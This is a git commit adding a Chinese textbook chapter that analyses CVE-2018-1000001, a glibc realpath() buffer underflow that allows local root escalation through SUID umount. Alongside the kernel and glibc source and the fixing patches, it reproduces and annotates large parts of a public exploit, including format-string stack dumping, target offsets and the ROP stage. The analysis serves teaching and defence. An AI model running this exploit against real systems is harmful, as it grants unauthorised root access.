mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-24 19:21:15 +07:00
finish 7.1.5
This commit is contained in:
parent
5c1e49715e
commit
cab884d01c
@ -3,12 +3,15 @@
|
||||
- [漏洞描述](#漏洞描述)
|
||||
- [漏洞复现](#漏洞复现)
|
||||
- [漏洞分析](#漏洞分析)
|
||||
- [Exploit](#exploit)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
[下载文件](../src/exploit/7.1.5_glibc_2018–1000001)
|
||||
[下载文件](../src/exploit/7.1.5_glibc_2018-1000001)
|
||||
|
||||
## 漏洞描述
|
||||
该漏洞涉及到 Linux 内核的 `getcwd` 系统调用和 glibc 的 `realpath()` 函数,可以实现本地提权。漏洞产生的原因是 `getcwd` 系统调用在 Linux-2.6.36 版本发生的一些变化,我们知道 `getcwd` 用于返回当前工作目录的绝对路径,但如果当前目录不属于当前进程的根目录,即从当前根目录不能访问到该目录,如该进程使用 `chroot()` 设置了一个新的文件系统根目录,但没有将当前目录的根目录替换成新地址的时候,`getcwd` 会在返回的路径前加上 `(unreachable)`。通过改变当前目录到另一个挂载的用户空间,普通用户也可以完成这样的操作。然后返回的这个非绝对地址的字符串会在 `realpath()` 函数中发生缓冲区下溢,从而导致任意代码执行,再利用 SUID 程序即可获得目标系统上的 root 权限。
|
||||
|
||||
|
||||
## 漏洞复现
|
||||
| |推荐使用的环境 | 备注 |
|
||||
@ -17,6 +20,7 @@
|
||||
| 调试器 | gdb-peda| 版本号:7.11.1 |
|
||||
| 漏洞软件 | glibc | 版本号:2.23-0ubuntu9 |
|
||||
|
||||
漏洞发现者已经公开了漏洞利用代码,需要注意的是其所支持的系统被硬编码进了利用代码中,可看情况进行修改。[地址](https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/RationalLove.c)
|
||||
```
|
||||
$ gcc -g exp.c
|
||||
$ id
|
||||
@ -44,41 +48,203 @@ uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plug
|
||||
# ls -l a.out
|
||||
-rwsr-xr-x 1 root root 44152 Feb 1 03:28 a.out
|
||||
```
|
||||
过程是先利用漏洞将可执行程序自己变成一个 SUID 程序,然后执行该程序即可从普通用户提权到 root 用户。
|
||||
|
||||
|
||||
## 漏洞分析
|
||||
`getcwd()` 的原型如下:
|
||||
```c
|
||||
#include <unistd.h>
|
||||
|
||||
char *getcwd(char *buf, size_t size);
|
||||
```
|
||||
它用于得到一个以 null 结尾的字符串,内容是当前进程的当前工作的绝对路径。并以保存到参数 buf 中的形式返回。
|
||||
|
||||
首先从 Linux 内核方面来看,在 2.6.36 版本的 [vfs: show unreachable paths in getcwd and proc](https://github.com/torvalds/linux/commit/8df9d1a4142311c084ffeeacb67cd34d190eff74) 这次提交,使得当目录不可到达时,会在返回的目录字符串前面加上 `(unreachable)`:
|
||||
```c
|
||||
// fs/dcache.c
|
||||
|
||||
static int prepend_unreachable(char **buffer, int *buflen)
|
||||
{
|
||||
return prepend(buffer, buflen, "(unreachable)", 13);
|
||||
}
|
||||
|
||||
static int prepend(char **buffer, int *buflen, const char *str, int namelen)
|
||||
{
|
||||
*buflen -= namelen;
|
||||
if (*buflen < 0)
|
||||
return -ENAMETOOLONG;
|
||||
*buffer -= namelen;
|
||||
memcpy(*buffer, str, namelen);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*
|
||||
* NOTE! The user-level library version returns a
|
||||
* character pointer. The kernel system call just
|
||||
* returns the length of the buffer filled (which
|
||||
* includes the ending '\0' character), or a negative
|
||||
* error value. So libc would do something like
|
||||
*
|
||||
* char *getcwd(char * buf, size_t size)
|
||||
* {
|
||||
* int retval;
|
||||
*
|
||||
* retval = sys_getcwd(buf, size);
|
||||
* if (retval >= 0)
|
||||
* return buf;
|
||||
* errno = -retval;
|
||||
* return NULL;
|
||||
* }
|
||||
*/
|
||||
SYSCALL_DEFINE2(getcwd, char __user *, buf, unsigned long, size)
|
||||
{
|
||||
int error;
|
||||
struct path pwd, root;
|
||||
char *page = __getname();
|
||||
|
||||
if (!page)
|
||||
return -ENOMEM;
|
||||
|
||||
rcu_read_lock();
|
||||
get_fs_root_and_pwd_rcu(current->fs, &root, &pwd);
|
||||
|
||||
error = -ENOENT;
|
||||
if (!d_unlinked(pwd.dentry)) {
|
||||
unsigned long len;
|
||||
char *cwd = page + PATH_MAX;
|
||||
int buflen = PATH_MAX;
|
||||
|
||||
prepend(&cwd, &buflen, "\0", 1);
|
||||
error = prepend_path(&pwd, &root, &cwd, &buflen);
|
||||
rcu_read_unlock();
|
||||
|
||||
if (error < 0)
|
||||
goto out;
|
||||
|
||||
/* Unreachable from current root */
|
||||
if (error > 0) {
|
||||
error = prepend_unreachable(&cwd, &buflen); // 当路径不可到达时,添加前缀
|
||||
if (error)
|
||||
goto out;
|
||||
}
|
||||
|
||||
error = -ERANGE;
|
||||
len = PATH_MAX + page - cwd;
|
||||
if (len <= size) {
|
||||
error = len;
|
||||
if (copy_to_user(buf, cwd, len))
|
||||
error = -EFAULT;
|
||||
}
|
||||
} else {
|
||||
rcu_read_unlock();
|
||||
}
|
||||
|
||||
out:
|
||||
__putname(page);
|
||||
return error;
|
||||
}
|
||||
```
|
||||
可以看到在引进了 unreachable 这种情况后,仅仅判断返回值大于零是不够的,它并不能很好地区分开究竟是绝对路径还是不可到达路径。然而很可惜的是,glibc 就是这样做的,它默认了返回的 buf 就是绝对地址。当然也是由于历史原因,在修订 `getcwd` 系统调用之前,glibc 中的 `getcwd()` 库函数就已经写好了,于是遗留下了这个不匹配的问题。
|
||||
|
||||
从 glibc 方面来看,由于它仍然假设 `getcwd` 将返回绝对地址,所以在函数 `realpath()` 中,仅仅依靠 `name[0] != '/'` 就断定参数是一个相对路径,而忽略了以 `(` 开头的不可到达路径。
|
||||
|
||||
`__realpath()` 用于将 `path` 所指向的相对路径转换成绝对路径,其间会将所有的符号链接展开并解析 `/./`、`/../` 和多于的 `/`。然后存放到 `resolved_path` 指向的地址中,具体实现如下:
|
||||
```c
|
||||
// stdlib/canonicalize.c
|
||||
|
||||
char *
|
||||
__realpath (const char *name, char *resolved)
|
||||
{
|
||||
[...]
|
||||
if (name[0] != '/') // 判断是否为绝对路径
|
||||
{
|
||||
if (!__getcwd (rpath, path_max)) // 调用 getcwd() 函数
|
||||
{
|
||||
rpath[0] = '\0';
|
||||
goto error;
|
||||
}
|
||||
dest = __rawmemchr (rpath, '\0');
|
||||
}
|
||||
else
|
||||
{
|
||||
rpath[0] = '/';
|
||||
dest = rpath + 1;
|
||||
}
|
||||
|
||||
for (start = end = name; *start; start = end) // 每次循环处理路径中的一段
|
||||
{
|
||||
[...]
|
||||
/* Find end of path component. */
|
||||
for (end = start; *end && *end != '/'; ++end) // end 标记一段路径的末尾
|
||||
/* Nothing. */;
|
||||
|
||||
if (end - start == 0)
|
||||
break;
|
||||
else if (end - start == 1 && start[0] == '.') // 当路径为 "." 的情况时
|
||||
/* nothing */;
|
||||
else if (end - start == 2 && start[0] == '.' && start[1] == '.') // 当路径为 ".." 的情况时
|
||||
{
|
||||
/* Back up to previous component, ignore if at root already. */
|
||||
if (dest > rpath + 1)
|
||||
while ((--dest)[-1] != '/'); // 回溯,如果 rpath 中没有 '/',发生下溢出
|
||||
}
|
||||
else // 路径组成中没有 "." 和 ".." 的情况时,复制 name 到 dest
|
||||
{
|
||||
size_t new_size;
|
||||
|
||||
if (dest[-1] != '/')
|
||||
*dest++ = '/';
|
||||
[...]
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
当传入的 name 不是一个绝对路径,比如 `../../x`,`realpath()` 将会使用当前工作目录来进行解析,而且默认了它以 `/` 开头。解析过程是从后先前进行的,当遇到 `../` 的时候,就会跳到前一个 `/`,但这里存在一个问题,没有对缓冲区边界进行检查,如果缓冲区不是以 `/` 开头,则函数会越过缓冲区,发生溢出。所以当 `getcwd` 返回的是一个不可到达路径 `(unreachable)/` 时,`../../x` 的第二个 `../` 就已经越过了缓冲区,然后 `x` 就会被复制到这个越界的地址处。
|
||||
|
||||
#### 补丁
|
||||
漏洞发现者也给出了它自己的补丁,在发生溢出的地方加了一个判断,当 `dest == rpath` 的时候,如果 `*dest != '/'`,则说明该路径不是以 `/` 开头,便触发报错。
|
||||
```diff
|
||||
--- stdlib/canonicalize.c 2018-01-05 07:28:38.000000000 +0000
|
||||
+++ stdlib/canonicalize.c 2018-01-05 14:06:22.000000000 +0000
|
||||
@@ -91,6 +91,11 @@
|
||||
goto error;
|
||||
}
|
||||
dest = __rawmemchr (rpath, '\0');
|
||||
+/* If path is empty, kernel failed in some ugly way. Realpath
|
||||
+has no error code for that, so die here. Otherwise search later
|
||||
+on would cause an underrun when getcwd() returns an empty string.
|
||||
+Thanks Willy Tarreau for pointing that out. */
|
||||
+ assert (dest != rpath);
|
||||
}
|
||||
else
|
||||
{
|
||||
@@ -118,8 +123,17 @@
|
||||
else if (end - start == 2 && start[0] == '.' && start[1] == '.')
|
||||
{
|
||||
/* Back up to previous component, ignore if at root already. */
|
||||
- if (dest > rpath + 1)
|
||||
- while ((--dest)[-1] != '/');
|
||||
+ dest--;
|
||||
+ while ((dest != rpath) && (*--dest != '/'));
|
||||
+ if ((dest == rpath) && (*dest != '/') {
|
||||
+ /* Return EACCES to stay compliant to current documentation:
|
||||
+ "Read or search permission was denied for a component of the
|
||||
+ path prefix." Unreachable root directories should not be
|
||||
+ accessed, see https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/ */
|
||||
+ __set_errno (EACCES);
|
||||
+ goto error;
|
||||
+ }
|
||||
+ dest++;
|
||||
}
|
||||
else
|
||||
{
|
||||
```
|
||||
但这种方案似乎并没有被合并。
|
||||
|
||||
最终采用的方案是直接从源头来解决,对 `getcwd()` 返回的路径 `path` 进行检查,如果确定 `path[0] == '/'`,说明是绝对路径,返回。否则转到 `generic_getcwd()`(内部函数,源码里看不到)进行处理:
|
||||
```diff
|
||||
$ git show 52a713fdd0a30e1bd79818e2e3c4ab44ddca1a94 sysdeps/unix/sysv/linux/getcwd.c | cat
|
||||
commit 52a713fdd0a30e1bd79818e2e3c4ab44ddca1a94
|
||||
Author: Dmitry V. Levin <ldv@altlinux.org>
|
||||
Date: Sun Jan 7 02:03:41 2018 +0000
|
||||
|
||||
linux: make getcwd(3) fail if it cannot obtain an absolute path [BZ #22679]
|
||||
|
||||
Currently getcwd(3) can succeed without returning an absolute path
|
||||
because the underlying getcwd syscall, starting with linux commit
|
||||
v2.6.36-rc1~96^2~2, may succeed without returning an absolute path.
|
||||
|
||||
This is a conformance issue because "The getcwd() function shall
|
||||
place an absolute pathname of the current working directory
|
||||
in the array pointed to by buf, and return buf".
|
||||
|
||||
This is also a security issue because a non-absolute path returned
|
||||
by getcwd(3) causes a buffer underflow in realpath(3).
|
||||
|
||||
Fix this by checking the path returned by getcwd syscall and falling
|
||||
back to generic_getcwd if the path is not absolute, effectively making
|
||||
getcwd(3) fail with ENOENT. The error code is chosen for consistency
|
||||
with the case when the current directory is unlinked.
|
||||
|
||||
[BZ #22679]
|
||||
CVE-2018-1000001
|
||||
* sysdeps/unix/sysv/linux/getcwd.c (__getcwd): Fall back to
|
||||
generic_getcwd if the path returned by getcwd syscall is not absolute.
|
||||
* io/tst-getcwd-abspath.c: New test.
|
||||
* io/Makefile (tests): Add tst-getcwd-abspath.
|
||||
|
||||
diff --git a/sysdeps/unix/sysv/linux/getcwd.c b/sysdeps/unix/sysv/linux/getcwd.c
|
||||
index f545106289..866b9d26d5 100644
|
||||
--- a/sysdeps/unix/sysv/linux/getcwd.c
|
||||
@ -109,6 +275,415 @@ index f545106289..866b9d26d5 100644
|
||||
```
|
||||
|
||||
|
||||
## Exploit
|
||||
umount 包含在 util-linux 中,为方便调试,我们重新编译安装一下:
|
||||
```
|
||||
$ sudo apt-get install dpkg-dev automake
|
||||
$ sudo apt-get source util-linux
|
||||
$ cd util-linux-2.27.1
|
||||
$ ./configure
|
||||
$ make && sudo make install
|
||||
$ file /bin/umount
|
||||
/bin/umount: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2104fb4e2c126b9ac812e611b291e034b3c361f2, not stripped
|
||||
```
|
||||
|
||||
exp 的主要分成两个部分:
|
||||
```c
|
||||
int main(int argc, char **argv) {
|
||||
[...]
|
||||
pid_t nsPid=prepareNamespacedProcess();
|
||||
while(excalateCurrentAttempt<escalateMaxAttempts) {
|
||||
[...]
|
||||
attemptEscalation();
|
||||
|
||||
[...]
|
||||
if(statBuf.st_uid==0) {
|
||||
fprintf(stderr, "Executable now root-owned\n");
|
||||
goto escalateOk;
|
||||
}
|
||||
}
|
||||
|
||||
preReturnCleanup:
|
||||
[...]
|
||||
if(!exitStatus) {
|
||||
fprintf(stderr, "Cleanup completed, re-invoking binary\n");
|
||||
invokeShell("/proc/self/exe");
|
||||
exitStatus=1;
|
||||
}
|
||||
|
||||
escalateOk:
|
||||
exitStatus=0;
|
||||
goto preReturnCleanup;
|
||||
}
|
||||
```
|
||||
- `prepareNamespacedProcess()`:准备一个运行在自己 mount namespace 的进程,并设置好适当的挂载结构。该进程允许程序在结束时可以清除它,从而删除 namespace。
|
||||
- `attemptEscalation()`:调用 umount 来获得 root 权限。
|
||||
|
||||
简单地说一下 mount namespace,它用于隔离文件系统的挂载点,使得不同的 mount namespace 拥有自己独立的不会互相影响的挂载点信息,当前进程所在的 mount namespace 里的所有挂载信息在 `/proc/[pid]/mounts`、`/proc/[pid]/mountinfo` 和 `/proc/[pid]/mountstats` 里面。每个 mount namespace 都拥有一份自己的挂载点列表,当用 clone 或者 unshare 函数创建了新的 mount namespace 时,新创建的 namespace 会复制走一份原来 namespace 里的挂载点列表,但从这之后,两个 namespace 就没有关系了。
|
||||
|
||||
首先为了提权,我们需要一个 SUID 程序,mount 和 umount 是比较好的选择,因为它们都依赖于 `realpath()` 来解析路径,而且能被所有用户使用。其中 umount 又最理想,因为它可以一次运行可以操作多个挂载点,从而可以多次触发到漏洞代码。
|
||||
|
||||
由于 umount 的 `realpath()` 的操作发生在堆上,第一步就得考虑怎样去创造一个可重现的堆布局。通过移除可能造成干扰的环境变量,仅保留 locale 即可做到这一点。locale 在 glibc 或者其它需要本地化的程序和库中被用来解析文本(如时间、日期等),它会在 umount 参数解析之前进行初始化,所以会影响到堆的结构和位于 `realpath()` 函数缓冲区前面的那些低地址的内容。所以漏洞的利用依赖于单个 locale 的可用性,在标准系统中,libc 提供了一个 `/usr/lib/locale/C.UTF-8`,它通过环境变量 `LC_ALL=C.UTF-8` 进行加载。
|
||||
|
||||
在 locale 被设置后,缓冲区下溢将覆盖 locale 中,用于加载 national language support(NLS) 的字符串中的一个 `/`,从而将其更改为相对路径。然后,用户控制的 umount 错误信息的翻译将被加载,使用 fprintf() 函数的 `%n` 格式化字符串,即可对一些内存地址进行写操作。由于 fprintf() 所使用的堆栈布局是固定的,所以可以忽略 ASLR 的影响。于是我们就可以利用该特性覆盖掉 `libmnt_context` 结构体中的 `restricted` 字段:
|
||||
```c
|
||||
// util-linux/libmount/src/mountP.h
|
||||
struct libmnt_context
|
||||
{
|
||||
int action; /* MNT_ACT_{MOUNT,UMOUNT} */
|
||||
int restricted; /* root or not? */
|
||||
|
||||
char *fstype_pattern; /* for mnt_match_fstype() */
|
||||
char *optstr_pattern; /* for mnt_match_options() */
|
||||
|
||||
[...]
|
||||
};
|
||||
```
|
||||
在安装文件系统时,挂载点目录的原始内容会被隐藏起来并且不可用,直到被卸载。但是,挂载点目录的所有者和权限没有被隐藏,其中 `restricted` 标志用于限制堆挂载文件系统的访问。如果我们将该值覆盖,umount 会误以为挂载是从 root 开始的。于是可以通过卸载 root 文件系统做到一个简单的 DoS(如参考文章中所示,可以在Debian下尝试)。
|
||||
|
||||
当然我们使用的 Ubuntu16.04 也是在漏洞利用支持范围内的:
|
||||
```c
|
||||
static char* osSpecificExploitDataList[]={
|
||||
// Ubuntu Xenial libc=2.23-0ubuntu9
|
||||
"\"16.04.3 LTS (Xenial Xerus)\"",
|
||||
"../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
|
||||
"_nl_load_locale_from_archive",
|
||||
"\x07\0\0\0\x26\0\0\0\x40\0\0\0\xd0\xf5\x09\x00\xf0\xc1\x0a\x00"
|
||||
};
|
||||
```
|
||||
|
||||
`prepareNamespacedProcess()` 函数如下所示:
|
||||
```c
|
||||
static int usernsChildFunction() {
|
||||
[...]
|
||||
int result=mount("tmpfs", "/tmp", "tmpfs", MS_MGC_VAL, NULL); // 将 tmpfs 类型的文件系统 tmpfs 挂载到 /tmp
|
||||
[...]
|
||||
}
|
||||
|
||||
pid_t prepareNamespacedProcess() {
|
||||
if(namespacedProcessPid==-1) {
|
||||
[...]
|
||||
namespacedProcessPid=clone(usernsChildFunction, stackData+(1<<20),
|
||||
CLONE_NEWUSER|CLONE_NEWNS|SIGCHLD, NULL); // 调用 clone() 创建进程,新进程执行函数 usernsChildFunction()
|
||||
[...]
|
||||
char pathBuffer[PATH_MAX];
|
||||
int result=snprintf(pathBuffer, sizeof(pathBuffer), "/proc/%d/cwd",
|
||||
namespacedProcessPid);
|
||||
char *namespaceMountBaseDir=strdup(pathBuffer); // /proc/[pid]/cwd 是一个符号连接, 指向进程当前的工作目录
|
||||
|
||||
// Create directories needed for umount to proceed to final state
|
||||
// "not mounted".
|
||||
createDirectoryRecursive(namespaceMountBaseDir, "(unreachable)/x"); // 在 cwd 目录下递归创建 (unreachable)/x。下同
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||
"(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES", osReleaseExploitData[2]);
|
||||
createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||
"(unreachable)/tmp/%s/X.X/LC_MESSAGES", osReleaseExploitData[2]);
|
||||
createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||
"(unreachable)/tmp/%s/X.x/LC_MESSAGES", osReleaseExploitData[2]);
|
||||
createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
|
||||
|
||||
// Create symlink to trigger underflows.
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/(unreachable)/tmp/down",
|
||||
namespaceMountBaseDir);
|
||||
result=symlink(osReleaseExploitData[1], pathBuffer); // 创建名为 pathBuffer 的符号链接
|
||||
[...]
|
||||
|
||||
// Write the initial message catalogue to trigger stack dumping
|
||||
// and to make the "umount" call privileged by toggling the "restricted"
|
||||
// flag in the context.
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||
"%s/(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES/util-linux.mo",
|
||||
namespaceMountBaseDir, osReleaseExploitData[2]); // 覆盖 "restricted" 标志将赋予 umount 访问已装载文件系统的权限
|
||||
|
||||
[...]
|
||||
char *stackDumpStr=(char*)malloc(0x80+6*(STACK_LONG_DUMP_BYTES/8));
|
||||
char *stackDumpStrEnd=stackDumpStr;
|
||||
stackDumpStrEnd+=sprintf(stackDumpStrEnd, "AA%%%d$lnAAAAAA",
|
||||
((int*)osReleaseExploitData[3])[ED_STACK_OFFSET_CTX]);
|
||||
for(int dumpCount=(STACK_LONG_DUMP_BYTES/8); dumpCount; dumpCount--) { // 通过格式化字符串 dump 栈数据,以对抗 ASLR
|
||||
memcpy(stackDumpStrEnd, "%016lx", 6);
|
||||
stackDumpStrEnd+=6;
|
||||
}
|
||||
|
||||
[...]
|
||||
result=writeMessageCatalogue(pathBuffer,
|
||||
(char*[]){
|
||||
"%s: mountpoint not found",
|
||||
"%s: not mounted",
|
||||
"%s: target is busy\n (In some cases useful info about processes that\n use the device is found by lsof(8) or fuser(1).)"
|
||||
},
|
||||
(char*[]){"1234", stackDumpStr, "5678"},
|
||||
3); // 伪造一个 catalogue,将上面的 stackDumpStr 格式化字符串写进去
|
||||
|
||||
[...]
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||
"%s/(unreachable)/tmp/%s/X.X/LC_MESSAGES/util-linux.mo",
|
||||
namespaceMountBaseDir, osReleaseExploitData[2]);
|
||||
secondPhaseTriggerPipePathname=strdup(pathBuffer); // 创建文件
|
||||
|
||||
[...]
|
||||
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||
"%s/(unreachable)/tmp/%s/X.x/LC_MESSAGES/util-linux.mo",
|
||||
namespaceMountBaseDir, osReleaseExploitData[2]);
|
||||
secondPhaseCataloguePathname=strdup(pathBuffer); // 创建文件
|
||||
|
||||
return(namespacedProcessPid); // 返回子进程 ID
|
||||
}
|
||||
```
|
||||
所创建的各种类型文件如下:
|
||||
```
|
||||
$ find /proc/10173/cwd/ -type d
|
||||
/proc/10173/cwd/
|
||||
/proc/10173/cwd/(unreachable)
|
||||
/proc/10173/cwd/(unreachable)/tmp
|
||||
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive
|
||||
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/X.x
|
||||
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/X.x/LC_MESSAGES
|
||||
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/X.X
|
||||
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/X.X/LC_MESSAGES
|
||||
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/C.UTF-8
|
||||
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/C.UTF-8/LC_MESSAGES
|
||||
/proc/10173/cwd/(unreachable)/x
|
||||
$ find /proc/10173/cwd/ -type f
|
||||
/proc/10173/cwd/DATEMSK
|
||||
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/C.UTF-8/LC_MESSAGES/util-linux.mo
|
||||
/proc/10173/cwd/ready
|
||||
$ find /proc/10173/cwd/ -type l
|
||||
/proc/10173/cwd/(unreachable)/tmp/down
|
||||
$ find /proc/10173/cwd/ -type p
|
||||
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/X.X/LC_MESSAGES/util-linux.mo
|
||||
```
|
||||
|
||||
然后在父进程里可以对子进程进行设置,通过设置 `setgroups` 为 deny,可以限制在新 namespace 里面调用 setgroups() 函数来设置 groups;通过设置 `uid_map` 和 `gid_map`,可以让子进程自己设置好挂载点。结果如下:
|
||||
```
|
||||
$ cat /proc/10173/setgroups
|
||||
deny
|
||||
$ cat /proc/10173/uid_map
|
||||
0 999 1
|
||||
$ cat /proc/10173/gid_map
|
||||
0 999 1
|
||||
```
|
||||
|
||||
这样准备工作就做好了。进入第二部分 `attemptEscalation()` 函数:
|
||||
```c
|
||||
int attemptEscalation() {
|
||||
[...]
|
||||
pid_t childPid=fork();
|
||||
if(!childPid) {
|
||||
[...]
|
||||
result=chdir(targetCwd); // 改变当前工作目录为 targetCwd
|
||||
|
||||
// Create so many environment variables for a kind of "stack spraying".
|
||||
int envCount=UMOUNT_ENV_VAR_COUNT;
|
||||
char **umountEnv=(char**)malloc((envCount+1)*sizeof(char*));
|
||||
umountEnv[envCount--]=NULL;
|
||||
umountEnv[envCount--]="LC_ALL=C.UTF-8";
|
||||
while(envCount>=0) {
|
||||
umountEnv[envCount--]="AANGUAGE=X.X"; // 喷射栈的上部
|
||||
}
|
||||
// Invoke umount first by overwriting heap downwards using links
|
||||
// for "down", then retriggering another error message ("busy")
|
||||
// with hopefully similar same stack layout for other path "/".
|
||||
char* umountArgs[]={umountPathname, "/", "/", "/", "/", "/", "/", "/", "/", "/", "/", "down", "LABEL=78", "LABEL=789", "LABEL=789a", "LABEL=789ab", "LABEL=789abc", "LABEL=789abcd", "LABEL=789abcde", "LABEL=789abcdef", "LABEL=789abcdef0", "LABEL=789abcdef0", NULL};
|
||||
result=execve(umountArgs[0], umountArgs, umountEnv);
|
||||
}
|
||||
[...]
|
||||
int escalationPhase=0;
|
||||
[...]
|
||||
while(1) {
|
||||
if(escalationPhase==2) { // 阶段 2 => case 3
|
||||
result=waitForTriggerPipeOpen(secondPhaseTriggerPipePathname);
|
||||
[...]
|
||||
escalationPhase++;
|
||||
}
|
||||
|
||||
// Wait at most 10 seconds for IO.
|
||||
result=poll(pollFdList, 1, 10000);
|
||||
[...]
|
||||
// Perform the IO operations without blocking.
|
||||
if(pollFdList[0].revents&(POLLIN|POLLHUP)) {
|
||||
result=read(
|
||||
pollFdList[0].fd, readBuffer+readDataLength,
|
||||
sizeof(readBuffer)-readDataLength);
|
||||
[...]
|
||||
readDataLength+=result;
|
||||
|
||||
// Handle the data depending on escalation phase.
|
||||
int moveLength=0;
|
||||
switch(escalationPhase) {
|
||||
case 0: // Initial sync: read A*8 preamble. // 阶段 0,读取我们精心构造的 util-linux.mo 文件中的格式化字符串。成功写入 8*'A' 的 preamble
|
||||
[...]
|
||||
char *preambleStart=memmem(readBuffer, readDataLength,
|
||||
"AAAAAAAA", 8); // 查找内存,设置 preambleStart
|
||||
[...]
|
||||
// We found, what we are looking for. Start reading the stack.
|
||||
escalationPhase++; // 阶段加 1 => case 1
|
||||
moveLength=preambleStart-readBuffer+8;
|
||||
case 1: // Read the stack. // 阶段 1,利用格式化字符串读出栈数据,计算出 libc 等有用的地址以对付 ASLR
|
||||
// Consume stack data until or local array is full.
|
||||
while(moveLength+16<=readDataLength) { // 读取栈数据直到装满
|
||||
result=sscanf(readBuffer+moveLength, "%016lx",
|
||||
(int*)(stackData+stackDataBytes));
|
||||
[...]
|
||||
moveLength+=sizeof(long)*2;
|
||||
stackDataBytes+=sizeof(long);
|
||||
// See if we reached end of stack dump already.
|
||||
if(stackDataBytes==sizeof(stackData))
|
||||
break;
|
||||
}
|
||||
if(stackDataBytes!=sizeof(stackData)) // 重复 case 1 直到此条件不成立,即所有数据已经读完
|
||||
break;
|
||||
|
||||
// All data read, use it to prepare the content for the next phase.
|
||||
fprintf(stderr, "Stack content received, calculating next phase\n");
|
||||
|
||||
int *exploitOffsets=(int*)osReleaseExploitData[3]; // 从读到的栈数据中获得各种有用的地址
|
||||
|
||||
// This is the address, where source Pointer is pointing to.
|
||||
void *sourcePointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]];
|
||||
// This is the stack address source for the target pointer.
|
||||
void *sourcePointerLocation=sourcePointerTarget-0xd0;
|
||||
|
||||
void *targetPointerTarget=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARG0]];
|
||||
// This is the stack address of the libc start function return
|
||||
// pointer.
|
||||
void *libcStartFunctionReturnAddressSource=sourcePointerLocation-0x10;
|
||||
fprintf(stderr, "Found source address location %p pointing to target address %p with value %p, libc offset is %p\n",
|
||||
sourcePointerLocation, sourcePointerTarget,
|
||||
targetPointerTarget, libcStartFunctionReturnAddressSource);
|
||||
// So the libcStartFunctionReturnAddressSource is the lowest address
|
||||
// to manipulate, targetPointerTarget+...
|
||||
|
||||
void *libcStartFunctionAddress=((void**)stackData)[exploitOffsets[ED_STACK_OFFSET_ARGV]-2];
|
||||
void *stackWriteData[]={
|
||||
libcStartFunctionAddress+exploitOffsets[ED_LIBC_GETDATE_DELTA],
|
||||
libcStartFunctionAddress+exploitOffsets[ED_LIBC_EXECL_DELTA]
|
||||
};
|
||||
fprintf(stderr, "Changing return address from %p to %p, %p\n",
|
||||
libcStartFunctionAddress, stackWriteData[0],
|
||||
stackWriteData[1]);
|
||||
escalationPhase++; // 阶段加 1 => case 2
|
||||
|
||||
char *escalationString=(char*)malloc(1024); // 将下一阶段的格式化字符串写入到另一个 util-linux.mo 中
|
||||
createStackWriteFormatString(
|
||||
escalationString, 1024,
|
||||
exploitOffsets[ED_STACK_OFFSET_ARGV]+1, // Stack position of argv pointer argument for fprintf
|
||||
sourcePointerTarget, // Base value to write
|
||||
exploitOffsets[ED_STACK_OFFSET_ARG0]+1, // Stack position of argv[0] pointer ...
|
||||
libcStartFunctionReturnAddressSource,
|
||||
(unsigned short*)stackWriteData,
|
||||
sizeof(stackWriteData)/sizeof(unsigned short)
|
||||
);
|
||||
fprintf(stderr, "Using escalation string %s", escalationString);
|
||||
|
||||
result=writeMessageCatalogue(
|
||||
secondPhaseCataloguePathname,
|
||||
(char*[]){
|
||||
"%s: mountpoint not found",
|
||||
"%s: not mounted",
|
||||
"%s: target is busy\n (In some cases useful info about processes that\n use the device is found by lsof(8) or fuser(1).)"
|
||||
},
|
||||
(char*[]){
|
||||
escalationString,
|
||||
"BBBB5678%3$s\n",
|
||||
"BBBBABCD%s\n"},
|
||||
3);
|
||||
break;
|
||||
case 2: // 阶段 2,修改了参数 “LANGUAGE”,从而触发了 util-linux.mo 的重新读入,然后将新的格式化字符串写入到另一个 util-linux.mo 中
|
||||
case 3: // 阶段 3,读取 umount 的输出以避免阻塞进程,同时等待 ROP 执行 fchown/fchmod 修改权限和所有者,最后退出
|
||||
// Wait for pipe connection and output any result from mount.
|
||||
readDataLength=0;
|
||||
break;
|
||||
[...]
|
||||
}
|
||||
if(moveLength) {
|
||||
memmove(readBuffer, readBuffer+moveLength, readDataLength-moveLength);
|
||||
readDataLength-=moveLength;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
attemptEscalationCleanup:
|
||||
[...]
|
||||
return(escalationSuccess);
|
||||
}
|
||||
```
|
||||
